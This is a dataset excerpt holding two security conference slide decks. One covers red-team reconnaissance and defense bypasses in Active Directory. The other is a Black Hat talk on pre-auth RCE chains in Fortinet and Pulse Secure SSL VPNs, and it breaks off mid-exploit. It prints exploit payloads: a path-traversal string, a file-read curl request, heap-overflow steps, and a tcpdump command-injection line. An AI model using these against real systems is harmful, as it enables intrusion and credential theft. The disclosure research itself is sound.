text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
Beyond the MCSE:
Red Teaming Active Directory
Sean Metcalf (@Pyrotek3)
s e a n @ adsecurity . org
www.ADSecurity.org
About Me
Founder Trimarc, a security company.
Microsoft Certified Master (MCM) Directory
Services
Microsoft MVP
Speaker: Black Hat, BSides, DEF CON, DerbyCon,
Shakacon
Security Consultant / Security Researcher
Own & Operate ADSecurity.org
(Microsoft platform security info)
| @PryoTek3 | sean @ adsecurity.org |
Agenda
Key AD components
Offensive PowerShell
Effective AD Recon
AD Defenses & Bypasses
Security Pro’s Checklist
| @PryoTek3 | sean @ adsecurity.org |
Hacking the System
PS> Get-FullAccess
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
Differing Views of Active Directory
•Administrator
•Security Professional
•Attacker
Complete picture is not well understood by any single one of them
| @PryoTek3 | sean @ adsecurity.org |
AD Administrator/Engineer
| @PryoTek3 | sean @ adsecurity.org |
Security Pro
| @PryoTek3 | sean @ adsecurity.org |
Attacker
| @PryoTek3 | sean @ adsecurity.org |
Active Directory Security
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
Can Control Another Domain
in the Forest!?!
Admins in One Domain
| @PryoTek3 | sean @ adsecurity.org |
Domain Controllers
• Contains & replicates domain data.
• Provides authentication & directory services.
• Central set of servers for client
communication.
• Can host the Global Catalog.
• Stores the domain AD database (NTDS.dit).
• Hosts the domain DFS root (\\domain.com\) &
NETLOGON & SYSVOL shares.
• DNS (AD-Integrated)
| @PryoTek3 | sean @ adsecurity.org |
Read-Only Domain Controllers
•Read-only DC, DNS, SYSVOL
•RODC Admin delegation to non DAs
•No passwords cached (default)
•KRBTGT cryptographically isolated
•RODC escalation via delegation
•msDS-AuthenticatedToAccountList &
msDS-RevealedList
| @PryoTek3 | sean @ adsecurity.org |
DC Discovery (DNS)
| @PryoTek3 | sean @ adsecurity.org |
DC Discovery (ADSI)
| @PryoTek3 | sean @ adsecurity.org |
Sites & Subnets
•Map AD to physical locations for replication.
•Subnet-Site association for resource
discovery.
•Asset discovery:
•Domain Controllers
•Exchange Servers
•SCCM
•DFS shares
| @PryoTek3 | sean @ adsecurity.org |
Group Policy
•User & computer management
•Create GPO & link to OU
•Comprised of:
• Group Policy Object (GPO) in AD
• Group Policy Template (GPT) files in
SYSVOL
• Group Policy Client Side Extensions on
clients
•Modify GPO or GPT…
| @PryoTek3 | sean @ adsecurity.org |
Group Policy Capability
•Configure security settings.
•Add local Administrators.
•Add update services.
•Deploy scheduled tasks.
•Install software.
•Run user logon/logoff scripts.
•Run computer startup/shutdown scripts.
| @PryoTek3 | sean @ adsecurity.org |
PowerShell
as an
Attack
Platform
| @PryoTek3 | sean @ adsecurity.org |
Quick PowerShell Attack History
• Summer 2010 - DEF CON 18: Dave Kennedy & Josh
Kelly “PowerShell OMFG!”
https://www.youtube.com/watch?v=JKlVONfD53w
• Describes many of the PowerShell attack techniques
used today (Bypass exec policy, -Enc, & IE).
• Released PowerDump to dump SAM database via
PowerShell.
• 2012 – PowerSploit, a GitHub repo started by
Matt Graeber, launched with Invoke-
Shellcode.
• “Inject shellcode into the process ID of your choosing or
within the context of the running PowerShell process.”
• 2013 - Invoke-Mimkatz released by Joe Bialek
which leverages Invoke-ReflectivePEInjection.
| @PryoTek3 | sean @ adsecurity.org |
PowerShell v5 Security Enhancements
•Script block logging
•System-wide transcripts (w/ invocation
header)
•Constrained PowerShell enforced with
AppLocker
•Antimalware Integration (Win 10)
http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershell-the-blue-team.aspx
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
Windows 10: AntiMalware Scan Interface (AMSI)
| @PryoTek3 | sean @ adsecurity.org |
Bypassing Windows 10 AMSI
• DLL hijacking:
http://cn33liz.blogspot.nl/2016/05/bypassing-amsi-
using-powershell-5-dll.html
• Use Reflection:
| @PryoTek3 | sean @ adsecurity.org |
Metasploit PowerShell Module
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
PS Constrained Language Mode?
| @PryoTek3 | sean @ adsecurity.org |
PowerShell v5 Security Log Data?
| @PryoTek3 | sean @ adsecurity.org |
Effective AD Recon
Gaining better target knowledge than the Admins…
| @PryoTek3 | sean @ adsecurity.org |
Active Directory Forest Info
| @PryoTek3 | sean @ adsecurity.org |
Active Directory Domain Info
| @PryoTek3 | sean @ adsecurity.org |
Forest & Domain Trusts
| @PryoTek3 | sean @ adsecurity.org |
Digging for Gold in AD
•Default/Weak passwords
•Passwords stored in user attributes
•Sensitive data
•Incorrectly secured data
•Extension Attribute data
•Deleted Objects
| @PryoTek3 | sean @ adsecurity.org |
Discovering Data
•Invoke-UserHunter:
• User home directory servers & shares
• User profile path servers & shares
• Logon script paths
•Performs Get-NetSession against each.
•Discovering DFS shares
•Admin hunting… follow Will Harmjoy’s
work: blog.harmj0y.net
| @PryoTek3 | sean @ adsecurity.org |
Useful AD User Properties
• Created
• Modified
• CanonicalName
• Enabled
• Description
• LastLogonDate
• DisplayName
• AdminCount
• SIDHistory
• PasswordLastSet
• PasswordNeverExpires
• PasswordNotRequired
• PasswordExpired
• SmartcardLogonRequired
• AccountExpirationDate
• LastBadPasswordAttempt
• msExchHomeServerName
• CustomAttribute1 - 50
• ServicePrincipalName
| @PryoTek3 | sean @ adsecurity.org |
Useful AD Computer Properties
• Created
• Modified
• Enabled
• Description
• LastLogonDate
(Reboot)
• PrimaryGroupID
(516 = DC)
• PasswordLastSet
(Active/Inactive)
• CanonicalName
• OperatingSystem
• OperatingSystemServicePack
• OperatingSystemVersion
• ServicePrincipalName
• TrustedForDelegation
• TrustedToAuthForDelegation
| @PryoTek3 | sean @ adsecurity.org |
DNS via LDAP
| @PryoTek3 | sean @ adsecurity.org |
Discover Computers & Services without
Port Scanning aka “SPN Scanning”
| @PryoTek3 | sean @ adsecurity.org |
Discover Enterprise Services without Port Scanning
• SQL servers, instances, ports, etc.
• MSSQLSvc/adsmsSQL01.adsecurity.org:1433
• RDP
• TERMSERV/adsmsEXCAS01.adsecurity.org
• WSMan/WinRM/PS Remoting
• WSMAN/adsmsEXCAS01.adsecurity.org
• Forefront Identity Manager
• FIMService/adsmsFIM01.adsecurity.org
• Exchange Client Access Servers
• exchangeMDB/adsmsEXCAS01.adsecurity.org
• Microsoft SCCM
• CmRcService/adsmsSCCM01.adsecurity.org
| @PryoTek3 | sean @ adsecurity.org |
SPN Scanning
SPN Directory:
http://adsecurity.org/?page_id=183
| @PryoTek3 | sean @ adsecurity.org |
Cracking Service Account Passwords
(Kerberoast)
Request/Save TGS service tickets & crack offline.
“Kerberoast” python-based TGS password cracker.
No elevated rights required.
No traffic sent to target.
https://github.com/nidem/kerberoast
| @PryoTek3 | sean @ adsecurity.org |
Discover Admin Accounts: Group Enumeration
| @PryoTek3 | sean @ adsecurity.org |
Discover Admin Accounts – RODC Groups
| @PryoTek3 | sean @ adsecurity.org |
Discover Admin Accounts –
AdminCount = 1
| @PryoTek3 | sean @ adsecurity.org |
Discover AD Groups with Local Admin Rights
| @PryoTek3 | sean @ adsecurity.org |
Discover AD Groups with Local
Admin Rights
| @PryoTek3 | sean @ adsecurity.org |
Attack of the Machines:
Computers with Admin Rights
| @PryoTek3 | sean @ adsecurity.org |
Discover Users with Admin Rights
| @PryoTek3 | sean @ adsecurity.org |
Discover Virtual Admins
| @PryoTek3 | sean @ adsecurity.org |
Follow the Delegation…
| @PryoTek3 | sean @ adsecurity.org |
Follow the Delegation…
| @PryoTek3 | sean @ adsecurity.org |
Discover Admin Accounts: Group Policy
Preferences
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
| @PryoTek3 | sean @ adsecurity.org |
Identify Partner Organizations via Contacts
| @PryoTek3 | sean @ adsecurity.org |
Identify Domain Password Policies
| @PryoTek3 | sean @ adsecurity.org |
Identify Fine-Grained Password Policies
| @PryoTek3 | sean @ adsecurity.org |
Group Policy Discovery
| @PryoTek3 | sean @ adsecurity.org |
Identify AppLocker Whitelisting Settings
| @PryoTek3 | sean @ adsecurity.org |
Identify Microsoft EMET Configuration
| @PryoTek3 | sean @ adsecurity.org |
Identify Microsoft LAPS Delegation
| @PryoTek3 | sean @ adsecurity.org |
Identify Microsoft LAPS Delegation
| @PryoTek3 | sean @ adsecurity.org |
AD Defenses & Bypasses
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
Graphic by
Florian Roth (@cyb3rops)
HoneyTokens, HoneyCredentials…
•Credentials injected into memory.
•Deployment method?
•May or may not be real on the network.
•Validate account data with AD.
•Avoid these.
| @PryoTek3 | sean @ adsecurity.org |
Randomized Local Admin PW (LAPS)
•PowerUp to local admin rights.
•Dump service credentials.
•Leverage credentials to escalate privileges.
•Find AD accounts with local admin rights.
•Find AD accounts with LAPS password
view rights.
•Find secondary admin account not
managed by LAPS.
| @PryoTek3 | sean @ adsecurity.org |
Network Segmentation
•“High Value Targets” isolated on the
network.
•Admin systems on separate segments.
•Find admin accounts for these systems &
where they logon.
•Compromise patching system to gain
access. (see PowerSCCM in PowerSploit).
| @PryoTek3 | sean @ adsecurity.org |
No Domain Admins
•Check domain “Administrators”
membership.
•Look for custom delegation:
•“Tier” or “Level”
•Workstation/Server Admins
•Somebody has rights!
| @PryoTek3 | sean @ adsecurity.org |
Privileged Admin Workstation (PAW)
• Active Directory Admins only logon to PAWs.
• Should have limited/secured communication.
• Should be in their own OU.
• May be in another forest (Red/Admin Forest).
• Compromise install media or patching system.
• Compromise in/out comms.
| @PryoTek3 | sean @ adsecurity.org |
Jump (Admin) Servers
• If Admins are not using Admin workstations,
keylog for creds on admin’s workstation.
• Discover all potential remoting services.
• RDP
• WMI
• WinRM/PowerShell Remoting
• PSExec
• NamedPipe
• Compromise a Jump Server, 0wn the
domain!
| @PryoTek3 | sean @ adsecurity.org |
AD Admin Tiers
| @PryoTek3 | sean @ adsecurity.org |
https://technet.microsoft.com/en-us/library/mt631193.aspx
AD Admin Tiers
| @PryoTek3 | sean @ adsecurity.org |
https://technet.microsoft.com/en-us/library/mt631193.aspx
ESAE Admin Forest (aka “Red Forest”)
| @PryoTek3 | sean @ adsecurity.org |
https://technet.microsoft.com/en-us/library/mt631193.aspx#ESAE_BM
ESAE Admin Forest (aka “Red Forest”)
• The “best” way to secure & protect AD.
• Separate forest with one-way forest trust.
• Separate smart card PKI system.
• Separate updating & patching system.
• All administration performed w/ ESAE
accounts & ESAE computers.
• Completely isolated.
| @PryoTek3 | sean @ adsecurity.org |
Universal Bypass for Most Defenses
•Service Accounts
•Over-permissioned
•Not protected like Admins
•Weak passwords
•No 2FA/MFA
•Limited visibility/understanding
| @PryoTek3 | sean @ adsecurity.org |
Interesting AD Facts
•All Authenticated Users have read
access to:
• Most (all) objects & their attributes in AD
(even across trusts!).
• Most (all) contents in the domain share
“SYSVOL” which can contain interesting
scripts & files.
| @PryoTek3 | sean @ adsecurity.org |
Interesting AD Facts:
•Standard user account…
• Elevated rights through “SID History”
without being a member of any
groups.
• Ability to modify users/groups without
elevated rights w/ custom OU ACLs.
• Modify rights to an OU or domain-
linked GPO, compromise domain.
| @PryoTek3 | sean @ adsecurity.org |
Red-Team Goodies
•Domain Admin account password hashes.
•Krbtgt password hashes.
•DC computer account password hashes.
•NetApp/storage device password hashes.
•DSRM account password hashes from
every DC.
| @PryoTek3 | sean @ adsecurity.org |
A Security Pro’s AD Checklist
• Identify who has AD admin rights (domain/forest).
• Identify DC logon rights.
• Identify virtual host admins (virtual DCs).
• Scan Active Directory Domains, OUs,
AdminSDHolder, & GPOs for inappropriate custom
permissions.
• Ensure AD admins protect their credentials by not
logging into untrusted systems (workstations).
• Limit service account rights that are currently DA (or
equivalent).
| @PryoTek3 | sean @ adsecurity.org |
PowerView AD Recon Cheat Sheet
• Get-NetForest
• Get-NetDomain
• Get-NetForestTrust
• Get-NetDomainTrust
• Invoke-MapDomainTrust
• Get-NetDomainController
• Get-DomainPolicy
• Get-NetGroup
• Get-NetGroupMember
• Get-NetGPO
• Get-NetGPOGroup
• Get-NetUser
• Invoke-ACLScanner
| @PryoTek3 | sean @ adsecurity.org |
Summary
•AD stores the history of an organization.
•Ask the right questions to know more
than the admins.
•Quickly recon AD in hours (or less)
•Business requirements subvert security.
•Identify proper leverage and apply.
| @PryoTek3 | sean @ adsecurity.org |
Questions?
Sean Metcalf (@Pyrotek3)
s e a n @ adsecurity . org
www.ADSecurity.org
Slides: Presentations.ADSecurity.org
| @PryoTek3 | sean @ adsecurity.org |
References
• PowerShell Empire
http://PowerShellEmpire.com
• Active Directory Reading Library
https://adsecurity.org/?page_id=41
• Read-Only Domain Controller (RODC) Information
https://adsecurity.org/?p=274
• DEF CON 18: Dave Kennedy & Josh Kelly “PowerShell OMFG!”
https://www.youtube.com/watch?v=JKlVONfD53w
• PowerShell v5 Security Enhancements
http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershell-
the-blue-team.aspx
• Detecting Offensive PowerShell Attack Tools
https://adsecurity.org/?p=2604
• Active Directory Recon Without Admin Rights
https://adsecurity.org/?p=2535
| @PryoTek3 | sean @ adsecurity.org |
References
• Mining Active Directory Service Principal Names
http://adsecurity.org/?p=230
• SPN Directory:
http://adsecurity.org/?page_id=183
• PowerView GitHub Repo (PowerSploit)
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
• Will Schroeder (@harmj0y): I have the PowerView (Offensive Active Directory
PowerShell) Presentation
http://www.slideshare.net/harmj0y/i-have-the-powerview
• MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of
Privilege
http://adsecurity.org/?tag=ms14068
• Microsoft Enhanced security patch KB2871997
http://adsecurity.org/?p=559
• Tim Medin’s DerbyCon 2014 presentation: “Attacking Microsoft Kerberos: Kicking
the Guard Dog of Hades”
https://www.youtube.com/watch?v=PUyhlN-E5MU
• Microsoft: Securing Privileged Access Reference Material
https://technet.microsoft.com/en-us/library/mt631193.aspx
• TechEd North America 2014 Presentation: TWC: Pass-the-Hash and Credential
Theft Mitigation Architectures (DCIM-B213) Speakers: Nicholas DiCola, Mark
Simos http://channel9.msdn.com/Events/TechEd/NorthAmerica/2014/DCIM-B213
| @PryoTek3 | sean @ adsecurity.org |
References
• Mimikatz
https://adsecurity.org/?page_id=1821
• Attack Methods for Gaining Domain Admin Rights in Active
Directory
https://adsecurity.org/?p=2362
• Microsoft Local Administrator Password Solution (LAPS)
https://adsecurity.org/?p=1790
• The Most Common Active Directory Security Issues and What
You Can Do to Fix Them
https://adsecurity.org/?p=1684
• How Attackers Dump Active Directory Database Credentials
https://adsecurity.org/?p=2398
• Sneaky Active Directory Persistence Tricks
https://adsecurity.org/?p=1929
| @PryoTek3 | sean @ adsecurity.org |
Detecting/Mitigating PS>Attack
• Discover PowerShell in non-standard processes.
• Get-Process modules like
“*Management.Automation*”
| @PryoTek3 | sean @ adsecurity.org |
| @PryoTek3 | sean @ adsecurity.org |
Detecting EXEs Hosting PowerShell
•Event 800: HostApplication not standard
Microsoft tool
•Event 800: Version mismatch between
HostVersion & EngineVersion (maybe).
•System.Management.Automation.dll hosted
in non-standard processes.
•EXEs can natively call .Net & Windows APIs
directly without PowerShell.
| @PryoTek3 | sean @ adsecurity.org | | pdf |
Infiltrating Corporate Intranet
Like NSA
Pre-auth RCE on Leading SSL VPNs
Orange Tsai (@orange_8361)
Meh Chang (@mehqq_)
USA 2019
Orange Tsai
• Principal security researcher at DEVCORE
• Captain of HITCON CTF team
• 0day researcher, focusing on
Web/Application security
orange_8361
Meh Chang
mehqq_
• Security researcher at DEVCORE
• HITCON & 217 CTF team
• Focus on binary exploitation
Highlights today
• PreAuth root RCE exploit chain on Fortinet SSL VPN
• Hard-core binary exploitation
• Magic backdoor
• PreAuth root RCE exploit chain on Pulse Secure SSL VPN
• Out-of-box web exploitation
• Highest bug bounty from Twitter ever
• New attack surface to compromise back all your VPN clients
Agenda
• Introduction
• Jailbreak the SSL VPN
• Attack vectors
• Case studies & Demos
• Weaponize the SSL VPN
• Recommendations
SSL VPN
• Trusted by large corporations to protect their assets
• Work with any network environments and firewalls
• Clientless, a web browser can do everything!
SSL VPN
Browser
SSL/TLS
Intranet
What if your trusted SSL VPN
is insecure?
Why focusing on SSL VPN
1.
Important corporate assets but a blind-spot
2. Widely used by corporations of all sizes
3. Only few SSL VPN vendors dominate the market
4. Direct Intranet access and must be exposed to outside
Even NSA is hunting bugs on
SSL VPN
Think about Equation Group leaks
They are usually forgotten
A silent-fix case
• We accidentally found a preAuth RCE on Palo Alto SSL VPN
during our Red Team assessment
• A silent fixed 1-day:
• No CVE
• No advisory
• No official announcement
Hacking Uber as showcase
Response from Palo Alto PSIRT
Palo Alto Networks does follow coordinated vulnerability disclosure for
security vulnerabilities that are reported to us by external researchers.
We do not CVE items found internally and fixed. This issue was previously
fixed, but if you find something in a current version, please let us know.
Number of high severity CVEs
159
50
26
17
13
6
Cisco
F5
Palo Alto
Citrix
Fortinet
Pulse Secure
https://nvd.nist.gov
We focus on…
•
Pulse Secure SSL VPN
•
More than 50,000+ servers operating on the Internet
•
Trusted by large corporations, service providers and government
entities
•
Fortigate SSL VPN
•
More than 480,000+ servers operating on the Internet
•
Prevalent among medium-sized enterprises
Let's start hacking
Difficulties for kick-starting
• SSL VPN is a black box and close source appliance
• All-in-one & Build their own architecture stacks from scratch
• Only restricted shell provided
• Jailbreak is the prerequisite for further researches
Jailbreak the SSL VPN
• We are not hardware guys :(
• So we look into the virtual image first
• Analyzing virtual images
1.
Typical virtual images
2. Encrypted virtual images
Typical virtual images
• If there is no LILO or GRUB password protected, we can just enter
the Single-User mode
• Mount the .VMDK on your Linux box and modify the filesystem
• /etc/crontab
• /etc/ld.so.conf
• /etc/passwd
• Many ways…
What if the disk has been
encrypted?
Encrypted virtual images
BIOS/MBR
LILO/GRUB
• Stage 1
• Stage 2
vmlinuz kernel
• zImagea
• bzImage
/sbin/init
• vmlinuz kernel
• Level - Hard
• Reverse engineering for the win!
• /sbin/init
• Level - Easy
• Memory forensics for the win!
The booting process
BIOS
LILO
Kernel
/sbin/init
?????????????????
The booting process
BIOS
LILO
Kernel
/sbin/init
?????????????????
Find the vital point
BIOS
LILO
Kernel
/sbin/init
/home/bin/dsconfig.pl
Memory Forensics
In-memory patch
Memory Patch
BIOS
LILO
Kernel
/sbin/init
///////////////bin/sh
Once we press <Enter>…
BIOS
LILO
Kernel
/sbin/init
///////////////bin/sh
Digging at a correct place
Attack vectors
• WebVPN
• Native script language extensions
• Multi-layered architecture problems
WebVPN
• A convenient proxy feature – Portable & Clientless
• Proxy all kinds of traffics through the web browser
• Supports various protocols
• HTTP, FTP, TELNET, SSH, SMB, RDP …
• Handles various web resources
• Websocket, JavaScript, Flash, Java Applet …
WebVPN implementation
• Build from scratch
• Protocols, web resources handling are prone to memory bugs
• Requires high security awareness
• Debug function
• Logging sensitive data
• Information exposed
WebVPN implementation
• Modify from an open source project
• Copy the code, copy the bugs
• Hard to maintain & update & patch
• Call existing libraries
• Neglect to update
• Libcurl (2008), Libxml (2009)
• Most SSL VPNs have their own native script
language extensions
• En/Decoding in C/C++
• Type confusion between
languages
Web Stack
F5 Networks
PHP / C (Apache extension)
Cisco
Lua / C (self-implemented server)
Pulse Secure
Perl / C++ (self-implemented server)
Fortigate
Nginx / C (Apache extension)
Palo Alto
PHP / C (AppWeb extension)
Citrix
PHP / C (self-implemented server)
Native script language
extensions
En/Decoding in C/C++
• String operation is always difficult for C language
• Buffer size calculation
• Dangerous functions
• Misunderstood functions
ret = snprintf(buf, buf_size, format, …);
left_buf_size = buf_size – ret;
Type confusion
• Type seems the same but …
• Perl or C?
• Perl string or C string?
• What TYPE is it?
my ($var) = @_;
EXTENSION::C_function($var);
Multi-layered architecture
problems
• Inconsistency between each architecture layer
• Failed patterns
• Reverse proxy + Java web = Fail
• Breaking Parser Logic by Orange Tsai from Black Hat USA 2018
• Customized(C/C++) web server + RESTful API backend
Failed Patterns
https://sslvpn/public/images/x/front_x/../../../../some.php
• ACL bypass on customized C webserver + RESTful backend
• Abuse Regular Expression greedy mode to bypass path check
^/public/images/.+/(front|background)_.+
• Dispatched to backend PHP engine and access privileged pages
Case studies
Pre-auth remote code execution on Fortigate SSL VPN
Pre-auth remote code execution on Pulse Secure SSL VPN
Disclaimer
All the CVEs mentioned below have been reported and patched
by Fortigate and Pulse Secure
Fortigate SSL VPN
• All programs and configurations compiled into /
• About 500 MB, stripped idb with 85k functions
• Plenty of function tables
• Customized web daemons
• Based on apache since 2002
• Self-implemented apache module
/bin/init
Fortigate web interface
Worth mentioning bugs
• Pre-auth RCE chain
• CVE-2018-13379: Pre-auth arbitrary file reading
• CVE-2018-13382: Post-auth heap overflow
• The magic backdoor
• CVE-2018-13383: Modify any user’s password with a magic key
Arbitrary file reading
• A function reading language json files for users
• Concatenate strings directly
• No ../ filter
• Limited file extension
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
Arbitrary file reading
• Utilize the feature of snprintf
• The snprintf() and vsnprintf() functions will write at most size-1 of
the characters printed into the output string
• Appended file extension can be stripped!
lang=/../../../..//////////////////////////////bin/sh
/migadmin/lang//../../../..//////////////////////////////bin/sh.json
0x40
An SSL VPN mystery
Appears in many products …
Excessively detailed session file
•
• Session token
• IP address
• User name
• Plaintext password
/dev/cmdb/sslvpn_websession
WebVPN
WebVPN – HTTP/HTTPS
https://sslvpn:4433/proxy/72ebc8b8/https/devco.re/
WebVPN – HTTP/HTTPS
Heap overflow vulnerability
• HTTP proxy
• Perform URL rewriting
• JavaScript parsing
• memcpy to a 0x2000 heap buffer without length check
memcpy(buffer, js_url, js_url_len);
Exploitation obstacles
• Destabilizing factors of heap
• Multiple connection handling with epoll()
• Main process and libraries use the same heap – Jemalloc
• Regularly triggered internal operations unrelated to connection
• Apache additional memory management
• No free() unless connection ends
Jemalloc allocator limitation
• Centralize small objects
• Stores small regions in
corresponding runs
• Reduce interference between
small and large objects
• Limit target options
header
bitmap
reg 0
reg 1
reg 2
…
reg N
header
bitmap
reg 0
reg 1
…
reg N
run
(0x20)
run
(0x30)
Surprise!
Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-
x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)
SSL structure (OpenSSL)
• Stores information of each SSL connection
• Ideal target
Allocation triggered easily
Size close to JavaScript buffer
Nearby JavaScript buffer with regular offset (k + N pages)
Useful structure members
Useful structure members
typedef struct ssl_st SSL;
struct ssl_st {
int version;
const SSL_METHOD *method;
//func table
…
int (*handshake_func) (SSL *);
};
Mess up connections
• Overflow SSL structure
• Establish massive connections
• Lots of normal requests
• One overflow request
Fortigate
SSL VPN
Massive
connections
Normal request
Overflow request
Normal request
Normal request
Fuzzer
Exploit between connections
HEAP MEMORY
SSL
SSL
SSL
Connection 1
Connection 2
Connection 3
LOW
HIGH
Original SSL structure
HEAP MEMORY
SSL
SSL
SSL
version
method
*handshake
_func
ssl_accept()
…
…
LOW
HIGH
Trigger JavaScript Parsing
HEAP MEMORY
SSL
SSL
SSL
version
method
*handshake
_func
ssl_accept()
…
…
LOW
HIGH
JS
Buffer
Allocate
LOW
HIGH
Overflow SSL structure
HEAP MEMORY
SSL
SSL
SSL
version
method
ssl_accept()
JS
Buffer
memcpy(buffer, js_url, js_url_len);
*handshake
_func
…
…
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*handshake
_func
…
…
LOW
HIGH
From SEGFAULT to RCE
HEAP MEMORY
SSL
SSL
SSL
version
method
*handshake
_func
ssl_accept()
…
…
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LOW
HIGH
Forge SSL structure
HEAP MEMORY
SSL
SSL
version
method
system()
JS Buffer
SSL
*handshake
_func
…
…
Enjoy your shell!
• Send fuzzy connections to meet the condition
• Daemon may crash multiple times
• Fortigate owns a reliable watchdog!
• Get a shell in 1~2 minutes
Make your life easier
Find another Door to get in
MAGIC backdoor
• A “magic” parameter
• Secret key for reset password
• Designed for updating outdated password
• but lack of authentication
Demo
Pop a root shell from the only exposed HTTPS port
Pulse Secure SSL VPN
• Pulse Secure was formed a divestiture of Juniper Networks
• Customized web server and architecture stack
• Perl enthusiast - numerous Perl extensions in C++
• LD_PRELOAD all processes with:
• libsafe.so - Detect and protect against stack smashing attacks
• libpreload.so - User-mode networking system call hooks
Vulnerabilities we found
• CVE-2019-11510 - Pre-auth arbitrary file reading
• CVE-2019-11538 - Post-auth NFS arbitrary file reading
• CVE-2019-11508 - Post-auth NFS arbitrary file writing
• CVE-2019-11542 - Post-auth stack buffer overflow
• CVE-2019-11539 - Post-auth command injection
• CVE-2019-11540 - XSSI session hijacking
• CVE-2019-11507 - Cross-site scripting
Arbitrary file reading
• CVE-2019-11510 – Webserver-level pre-auth file reading
• Pulse Secure has introduced a new feature HTML5 Access since
SSL VPN version 8.2
• A new solution to access Telnet, SSH and RDP via browsers
• To handle static resources, Pulse Secure created a new IF-case to
widen the original strict path validation
Am I affected by this vuln?
• Probably YES!
• All un-patched version are vulnerable except the End-of-Life 8.1 code
$ curl -I 'https://sslvpn/dana-na///css/ds.js'
HTTP/1.1 400 Invalid Path
$ curl -I 'https://sslvpn/dana-na///css/ds.js?/dana/html5acc/guacamole/'
HTTP/1.1 200 OK
What can we extract?
1.
Private keys and system configuration(LDAP, RADIUS and SAML…)
2. Hashed user passwords(md5_crypt)
3. Sensitive cookies in WebVPN(ex: Google, Dropbox and iCloud…)
4. Cached user plaintext passwords
What can we extract?
1.
Private keys and system configuration(LDAP, RADIUS and SAML…)
2. Hashed user passwords(md5_crypt)
3. Sensitive cookies via WebVPN(ex: Google, Dropbox and iCloud…)
4. Cached user plaintext passwords
Command Injection
• CVE-2019-11539 – Post-auth Command Injection
sub tcpdump_options_syntax_check {
my $options = shift;
return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
return undef;
}
/dana-admin/diag/diag.cgi
Command Injection
Pulse Secure hardenings
• Several hardenings on Pulse Secure SSL VPN…
1.
System integrity check
2. Read-only filesystem(only /data are writable)
3. The DSSafe.pm as a safeguard protects Perl from dangerous
operations
The Perl gatekeeper
• DSSafe.pm
• A Perl-C extension hooks several Perl function such as:
• system, open, popen, exec, backstick…
• Command-line syntax validation
• Disallow numerous bad characters - [\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]
• Re-implement the Linux I/O redirections in Perl
Failed argument injection :(
• TCPDUMP is too old(v3.9.4, Sept 2005) to support post-rotate-command
• Observed Pulse Secure caches Perl template result in:
• /data/runtime/tmp/tt/*.thtml.ttc
• No way to generate a polyglot in both Perl and PCAP
Usage: tcpdump [-aAdDeflLnNOpqRStuUvxX] [-c count] [-C file_size]
[-E algo:secret] [-F file] [-i interface] [-M secret]
[-r file] [-s snaplen] [-T type] [-w pcap-file]
[-W filecount] [-z postrotate-command]
[-y datalinktype] [-Z user] [expression]
/usr/sbin/tcpdump –help
>_
Time to dig deeper
• Dig into DSSafe.pm more deeply, we found a flaw in
command line I/O redirection parsing
use DSSafe;
system("tcpdump -d $options >/dev/null 2>&1");
system("tcpdump -d -h >file >/dev/null 2>&1"); # `file` not found
system("tcpdump -d -h >file < >/dev/null 2>&1"); # `file` created
dssafe_example.pl
Think out of the box
STDOUT is uncontrollable
Could we write a valid Perl by just STDERR?
Think out of the box
$ tcpdump -d -r '123'
tcpdump: 123: No such file or directory
$ tcpdump -d -r '123' 2>&1 | perl -
syntax error at - line 1, near "123:"
Execution of - aborted due to compilation errors.
Think out of the box
$ tcpdump -d -r 'print 123#'
tcpdump: print 123#: No such file or directory
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
123
tcpdump: print 123#: No such file or directory
Code
GOTO label
Comment
Perl 101
/usr/sbin/tcpdump -d
-r'$x="ls",system$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
>/dev/null
2>&1
Our RCE Exploit
tcpdump: $x="ls",system$x#: No such file or directory
STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc
1
/usr/sbin/tcpdump -d
-r'$x="ls",system$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
>/dev/null
2>&1
tcpdump: $x="ls",system$x#: No such file or directory
STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc
/usr/sbin/tcpdump -d
-r'$x="ls",system$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
>/dev/null
2>&1
2
/usr/sbin/tcpdump -d
